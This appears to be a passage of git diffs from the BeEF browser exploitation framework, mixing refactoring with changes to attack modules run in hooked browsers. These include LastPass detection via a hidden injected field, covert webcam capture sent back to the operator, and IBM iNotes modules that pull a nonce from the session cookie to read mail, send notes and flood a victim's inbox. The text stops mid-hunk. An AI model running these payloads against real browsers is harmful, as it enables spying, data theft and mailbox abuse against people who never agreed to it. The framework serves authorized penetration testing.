web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
web_ui_all = evaluate_and_minify(admin_ui_js, params)
unless web_ui_all
raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty"
end
write_minified_js('web_ui_all.js', web_ui_all)
auth_js_file = "#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
web_ui_auth = evaluate_and_minify(auth_js_file, params)
unless web_ui_auth
raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty"
end
write_minified_js('web_ui_auth.js', web_ui_auth)
rescue => e
raise StandardError, "Building Admin UI JavaScript failed: #{e.message}"
end
#
@@ -130,11 +147,12 @@ module BeEF
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
# mount the media folder where we store static files (javascript, css, images, audio) for the admin ui
media_dir = "#{File.dirname(__FILE__)}/../media/"
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
# NOTE: this appears to be broken
unless config.get('beef.http.web_server_imitation.enable')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
@@ -143,7 +161,11 @@ module BeEF
)
end
build_javascript_ui beef_server
build_javascript_ui
rescue => e
print_error("[Admin UI] Could not mount URL route handlers: #{e.message}")
print_more(e.backtrace)
exit(1)
end
end
end
@@ -27,7 +27,6 @@
<div class="right-menu">
<img src="<%= base_path %>/media/images/favicon.png" />
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues' target='_blank'>Submit Bug</a> |
<a id='do-logout-menu' href='#'>Logout</a>
</div>
</div>
@@ -51,27 +51,29 @@ var ZombiesMgr = function(zombies_tree_lists) {
* Update the hooked browser trees
* @param: {Literal Object} an object containing the list of offline and online hooked browsers.
*/
this.updateZombies = function(zombies){
var offline_hooked_browsers = zombies["offline"];
var online_hooked_browsers = zombies["online"];
beefwui.hooked_browsers = zombies["online"];
this.updateZombies = function(hooked_browsers){
var offline_hooked_browsers = hooked_browsers["offline"];
var online_hooked_browsers = hooked_browsers["online"];
var new_zombie_list = new Array();
for(tree_type in this.zombies_tree_lists) {
hooked_browsers_tree = this.zombies_tree_lists[tree_type];
//we compare and remove the hooked browsers from online and offline branches for each tree.
hooked_browsers_tree.compareAndRemove(zombies);
hooked_browsers_tree.compareAndRemove(hooked_browsers);
//add an offline browser to the tree
for(var i in offline_hooked_browsers) {
var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers);
hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false));
new_zombie_list.push(offline_hooked_browser);
}
//add an online browser to the tree
for(var i in online_hooked_browsers) {
var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers);
hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false));
new_zombie_list.push(online_hooked_browser);
}
//expand the online hooked browser tree lists
@@ -85,5 +87,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
}
}
beefwui.hooked_browsers = new_zombie_list;
}
};
@@ -240,7 +240,7 @@ try{
this.addZombie(offline_hooked_browser, offline_hooked_browser["online"], offline_hooked_browser["checkbox"]);
}, this)
//expands the online hooked browser branch
//expands the offline hooked browser branch
if(this.offline_hooked_browsers_treenode.childNodes.length > 0)
this.offline_hooked_browsers_treenode.expand(true);
},
+7 -3
View File
@@ -229,9 +229,13 @@ module BeEF
def response2hash(http)
response_data = ''
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
response_data = http.response_data[0..(1024 * 100)]
response_data += "\n<---------- Response Data Truncated---------->"
unless http.response_data.nil?
if (http.response_data.length > (1024 * 100)) # more than 100K
response_data = http.response_data[0..(1024 * 100)]
response_data += "\n<---------- Response Data Truncated---------->"
else
response_data = http.response_data
end
end
response_headers = ''
+3 -3
View File
@@ -17,7 +17,7 @@ module BeEF
include BeEF::Core::Handlers::Modules::BeEFJS
# If the Rtcsignal table contains requests that need to be sent (has_sent = waiting), retrieve
# If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve
# and send them to the hooked browser.
# Don't forget, these are signalling messages for a peer, so we don't check that the request
# is for the hooked_browser_id, but the target
@@ -29,7 +29,7 @@ module BeEF
rtcmanagementoutput = []
# Get all RTCSignals for this browser
BeEF::Core::Models::Rtcsignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
# output << self.requester_parse_db_request(h)
rtcsignaloutput << h.signal
h.has_sent = "sent"
@@ -37,7 +37,7 @@ module BeEF
}
# Get all RTCManagement messages for this browser
BeEF::Core::Models::Rtcmanage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
rtcmanagementoutput << h.message
h.has_sent = "sent"
h.save
+1 -1
View File
@@ -12,7 +12,7 @@ module BeEF
#
class SignalHandler
R = BeEF::Core::Models::Rtcsignal
R = BeEF::Core::Models::RtcSignal
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
+6 -6
View File
@@ -9,34 +9,34 @@ module Models
#
# Table stores the queued up JS commands for managing the client-side webrtc logic.
#
class Rtcmanage < BeEF::Core::Model
class RtcManage < BeEF::Core::Model
# Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver
def self.initiate(caller, receiver, verbosity = false)
stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers")
turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers")
# Add the beef.webrtc.start() JavaScript call into the Rtcmanage table - this will be picked up by the browser on next hook.js poll
# Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll
# This is for the Receiver
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r.save!
# This is the same beef.webrtc.start() JS call, but for the Caller
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
r.save!
end
# Advises a browser to send an RTCDataChannel message to its peer
# Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call
def self.sendmsg(from, to, message)
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
r.save!
end
# Gets the browser to run the beef.webrtc.status() JavaScript function
# This JS function will return it's values to the /rtcmessage handler
def self.status(id)
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
r.save!
end
+1 -1
View File
@@ -9,7 +9,7 @@ module Models
#
# Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser
#
class Rtcsignal < BeEF::Core::Model
class RtcSignal < BeEF::Core::Model
belongs_to :hooked_browser
+5 -5
View File
@@ -85,9 +85,9 @@ module BeEF
end
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true)
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i)
end
r = BeEF::Core::Models::Rtcstatus.new(
@@ -139,7 +139,7 @@ module BeEF
get '/status/:id' do
id = params[:id]
BeEF::Core::Models::Rtcmanage.status(id.to_i)
BeEF::Core::Models::RtcManage.status(id.to_i)
result = {}
result['success'] = true
result.to_json
@@ -313,7 +313,7 @@ module BeEF
if [fromhb, tohb, message].include?(nil)
result['success'] = false
else
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
end
@@ -436,7 +436,7 @@ module BeEF
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg)
result = {}
result['success'] = true
+1 -1
View File
@@ -87,7 +87,7 @@ install_linux() {
DISTRO_ID=$(cat /etc/os-release | grep ID= | grep -v "BUILD" | grep -v "IMAGE" | cut -d= -f2-)
if [ "${DISTRO_ID}" = 'kali' ]; then
Distro='Kali'
elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'manjaro' ]; then
elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'artix' ] || [ "${DISTRO_ID}" = 'manjaro' ] || [ "${DISTRO_ID}" = 'blackarch' ] || [ "${DISTRO_ID}" = 'arcolinux' ]; then
Distro='Arch'
fi
fi
+64 -17
View File
@@ -4,26 +4,73 @@
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
beef.execute(function () {
var result = "Not in use or not installed";
// The following base64 encoded string represents the LastPass inline PNG which is inserted into user/pass form fields
var base64PNG = "iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAAPhJREFUOBHlU70KgzAQPlMhEvoQTg6OPoOjT+JWOnRqkUKHgqWP4OQbOPokTk6OTkVULNSLVc62oJmbIdzd95NcuGjX2/3YVI/Ts+t0WLE2ut5xsQ0O+90F6UxFjAI8qNcEGONia08e6MNONYwCS7EQAizLmtGUDEzTBNd1fxsYhjEBnHPQNG3KKTYV34F8ec/zwHEciOMYyrIE3/ehKAqIoggo9inGXKmFXwbyBkmSQJqmUNe15IRhCG3byphitm1/eUzDM4qR0TTNjEixGdAnSi3keS5vSk2UDKqqgizLqB4YzvassiKhGtZ/jDMtLOnHz7TE+yf8BaDZXA509yeBAAAAAElFTkSuQmCC";
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
if (typeof(lpdiv) != 'undefined' && lpdiv != null) {
//We've got the first detection of LP
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
} else if ($j("script:contains(lastpass_iter)").length > 0) {
//We've got the second detection of LP
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
} else {
//Form is not there, lets check for any form elements in this page, because, LP won't activate at all without a <form>
if (document.getElementsByTagName("form").length == 0) {
//No forms
result = "The page doesn't seem to include any forms - we can't tell if LastPass is installed";
}
let createInputField = function () {
beef.debug("Module - Detect LastPass: Generating input field");
return new Promise((resolve, reject) => {
var input = document.createElement("input");
input.type = "text";
input.id = "username";
input.name = "username";
input.setAttribute("style", "display:none;position:absolute;visibility:hidden;top:-1000px;left:-1000px;border:none;");
document.body.appendChild(input);
beef.debug("Module - Detect LastPass: Input field generated");
// FF requires some interaction to trigger extension function, so we use a timeout to wait 5 seconds in the hope that a user interacts
if (beef.browser.isFF()) {
setTimeout(() => {
resolve();
}, 5000);
} else {
// `1 second timout to allow DOM to update
setTimeout(() => {
resolve();
}, 1000);
}
})
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass="+result);
});
let detectLastPass = function () {
beef.debug("Module - Detect LastPass: Looking for input field");
return new Promise((resolve, reject) => {
// Detect input form fields with the injected LastPass PNG as background image
var bginput = $j('input[style]');
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
if (bginput.length > 0) {
beef.debug("Module - Detect LastPass: Input field with 'style' attribute found: " + bginput);
for (var i = 0; i < bginput.length; i++) {
beef.debug("Module - Detect LastPass: Number of potential input fields with 'style' attribute found: " + bginput.length);
var styleContent = bginput[i].getAttribute('style');
if (styleContent.includes(base64PNG)) {
beef.debug('Module - Detect LastPass: Matching inline PNG detected');
result = "Detected LastPass through presence of inline base64-encoded PNG within input form field";
}
}
// Detect presence of LastPass iframe
} else if ($j("iframe[name='LPFrame']").length > 0) {
beef.debug('Module - Detect LastPass: Matching iframe found');
result = "Detected LastPass through presence of LastPass 'save password' iframe";
// Below is the older method of LastPass detection method
} else if (typeof (lpdiv) != 'undefined' && lpdiv != null) {
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
} else if ($j("script:contains(lastpass_iter)").length > 0) {
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
}
resolve();
})
}
function getResult() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass=" + result);
}
createInputField().then(detectLastPass).then(getResult);
});
+1 -1
View File
@@ -10,7 +10,7 @@ beef:
category: "Browser"
name: "Detect LastPass"
description: "This module checks if the LastPass extension is installed and active."
authors: ["xntrik"]
authors: ["xntrik","DeezyE"]
target:
not_working: ["IE"]
working: ["All"]
+72 -6
View File
@@ -25,27 +25,93 @@ beef.execute(function() {
var ctx = can_el.getContext('2d');
var localMediaStream = null;
var streaming = false;
var width = 320; // We will scale the photo width to this
var height = 0; // This will be computed based on the input stream
var cap = function() {
if (localMediaStream) {
ctx.drawImage(vid_el,0,0);
ctx.drawImage(vid_el,0,0,width,height);
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
} else {
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
}
}
};
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
navigator.getUserMedia({video:true},function(stream) {
vid_el.src = window.URL.createObjectURL(stream);
// Older browsers might not implement mediaDevices at all, so we set an empty object first
if (navigator.mediaDevices === undefined) {
navigator.mediaDevices = {};
}
// Some browsers partially implement mediaDevices. We can't just assign an object
// with getUserMedia as it would overwrite existing properties.
// Here, we will just add the getUserMedia property if it's missing.
if (navigator.mediaDevices.getUserMedia === undefined) {
navigator.mediaDevices.getUserMedia = function(constraints) {
// First get ahold of the legacy getUserMedia, if present
var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
// Some browsers just don't implement it - return a rejected promise with an error
// to keep a consistent interface
if (!getUserMedia) {
return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
}
// Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
return new Promise(function(resolve, reject) {
getUserMedia.call(navigator, constraints, resolve, reject);
});
}
}
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {
if ('srcObject' in vid_el) {
vid_el.srcObject = stream;
vid_el.play();
} else {
vid_el.src = window.URL.createObjectURL(stream);
}
localMediaStream = stream;
setTimeout(cap,2000);
vid_el.addEventListener('canplay', function(ev){
if (!streaming) {
streaming = true;
setTimeout(cap,2000);
}
}, false);
}, function(err) {
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
});
// Retrieve the chosen div option from BeEF and display
var choice = "<%= @choice %>";
switch (choice) {
case "320x240":
size320(); break;
case "640x480":
size640(); break;
case "Full":
sizeFull(); break;
default:
size320(); break;
}
function size320() {
width = 320;
height = 240;
}
function size640() {
width = 640;
height = 480;
}
function sizeFull() {
width = 1280;
height = 720;
}
});
+1 -1
View File
@@ -9,7 +9,7 @@ beef:
enable: true
category: "Browser"
name: "Webcam HTML5"
description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam.<br /> If no image shown choose smaller image size"
authors: ["xntrik"]
target:
user_notify: ["C"]
+6
View File
@@ -5,6 +5,12 @@
#
require 'base64'
class Webcam_html5 < BeEF::Core::Command
def self.options
[
{ 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'],
'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
@@ -22,16 +22,24 @@ beef.execute(function() {
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
try {
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+xhr.status);
}
}
xhr.send(null);
} catch(e) {
beef.debug("Error: " + e);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+e);
}
});
@@ -16,7 +16,7 @@
class Extract_inotes_list < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
{ 'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101' },
{ 'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101' },
{ 'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1' }
@@ -23,28 +23,34 @@ beef.execute(function() {
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
try {
var notesURL = arr[1];
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
(function flood() {
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
setTimeout( flood, delay );
})();
(function flood() {
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
} catch(e) {
beef.debug("[IBM Notes Flooder] Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Flooder failed. Error: ' + e);
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
setTimeout( flood, delay );
})();
}
});
@@ -16,7 +16,7 @@
class Inotes_flooder < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
@@ -20,6 +20,8 @@ beef.execute(function() {
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
try {
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
@@ -30,6 +32,11 @@ beef.execute(function() {
}
}
xhr.send(null);
} catch(e) {
beef.debug("Error: " + e);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Read iNotes Error: "+e);
}
});
@@ -16,7 +16,7 @@
class Read_inotes < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'html' => 'Provide unid to retrieve details of a Note:' },
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide unid to retrieve details of a Note:' },
{ 'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1' }
]
end
+22 -15
View File
@@ -22,24 +22,31 @@ beef.execute(function() {
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
try {
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
} catch(e) {
beef.debug("Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);
}
xhr.send(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
});
@@ -16,7 +16,7 @@
class Send_inotes < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'html' => 'Send a note to someone:' },
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => '' },
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' }
@@ -23,89 +23,95 @@ beef.execute(function() {
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
var boundary = "---------------------------32162600713994";
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
var post_data = boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
post_data += "\r\n";
post_data += "h_Next\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
post_data += "\r\n";
post_data += "[[./&Form=l_CallListener]]\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
post_data += "\r\n";
post_data += "h_ShimmerSendMail\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
post_data += "\r\n";
post_data += to + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
post_data += "\r\n";
post_data += body + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
post_data += "\r\n";
post_data += "Memo\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
post_data += "\r\n";
post_data += "0\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
post_data += "\r\n";
post_data += subject + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
post_data += "\r\n";
post_data += filedata + "\r\n";
post_data += boundary + "--";
xhr.sendAsBinary(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
try {
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
var boundary = "---------------------------32162600713994";
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
var post_data = boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
post_data += "\r\n";
post_data += "h_Next\r\n";
post_data += boundary + "\r\n";
